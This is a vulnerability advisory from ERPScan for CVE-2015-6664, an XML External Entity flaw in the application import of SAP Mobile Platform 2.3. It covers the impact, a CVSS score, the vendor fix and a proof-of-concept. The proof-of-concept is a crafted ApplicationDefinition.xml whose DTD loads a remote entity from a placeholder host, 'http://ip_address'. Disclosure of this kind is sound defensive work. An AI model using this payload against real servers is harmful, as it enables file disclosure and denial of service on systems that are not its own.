Vahagn Vardanyan (ERPScan)ERPSCAN-15-020SAP Mobile Platform 2.3 - XXE vulnerability in application import
0.007 Low
EPSS
Percentile
79.6%
Application: SAP Mobile Platform 2.3 Vendor URL:http://www.sap.com **Bugs:**XML eXternal Entity **Reported:**25.02.2015 **Vendor response:**25.02.2015 **Date of Public Advisory:**11.08.2015 **Reference:**SAP Security Note 2152227 Authors: Vahagn Vardanyan (ERPScan)
Vulnerability information
Class: XML External Entity [CWE-611]
Impact: information disclosure, denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-6664
CVSS Information
CVSS Base Score: 4.9 / 10
CVSS Base Vector:
| AV : Access Vector (Related exploit range) | Network (N) |
|---|---|
| AC : Access Complexity (Required attack complexity) | Medium (M) |
| Au : Authentication (Level of authentication needed to exploit) | Single (S) |
| C : Impact to Confidentiality | Partial (P) |
| I : Impact to Integrity | None (N) |
| A : Impact to Availability | Partial (P) |
Business Risk
The attacker can read an arbitrary file on the server by sending a correct XML request with a crafted DTD to read the reply from the service.
The attacker can perform a DoS attack (for example, an XML Entity Expansion attack).
An SMB Relay attack is a type of Man-in-the-Middle attack where the attacker asks the victim to authenticate into a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways and gets access.
Description
SAP XML parser validates all incoming XML requests with a user-specified DTD.
Vulnerable packages
SAP Mobile Platform 2.3, Other versions are probably affected too, but they were not checked.
Solutions and workarounds To correct this vulnerability, install SAP Security Note 2152227
Technical description
The vulnerability affects the functionality used by an administrator to import applications. An attacker can replace ApplicationDefinition.xml file with a malicious XML code.
PoC
ABAP
<?xml version=“1.0” encoding=“UTF-8” standalone=“yes”?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://ip_address”> %remote;]> <applicationDefinition xmlns=“http://www.sybase.com/sup/applicationDefinition” id=“SMP01” type=“ObjectAPI” enabled=“true” displayName=“SMP01”> <description>Default application ID</description> <domains> <root/> <domain name=“default”> <packages> <package name=“smp01:1.0” internalName=“d1_smp01.1_0”/> </packages> </domain> </domains> <customizationResourceBundles/> <templates> <template name=“SMP01_admin”/> </templates> <pushConfigs/> <hybridApps/> </applicationDefinition>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?xml version=“1.0” encoding=“UTF-8” standalone=“yes”?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM “http://ip_address”>
%remote;]>
<applicationDefinition xmlns=“http://www.sybase.com/sup/applicationDefinition” id=“SMP01” type=“ObjectAPI” enabled=“true” displayName=“SMP01”>
<description>Default application ID</description>
<domains>
<root/>
<domain name=“default”>
<packages>
<package name=“smp01:1.0” internalName=“d1_smp01.1_0”/>
</packages>
</domain>
</domains>
<customizationResourceBundles/>
<templates>
<template name=“SMP01_admin”/>
</templates>
<pushConfigs/>
<hybridApps/>
</applicationDefinition>
—|—
Defense
To prevent this issue as well as a plethora of other vulnerabilities that may affect your systems, ERPScan provides the following services:
Related
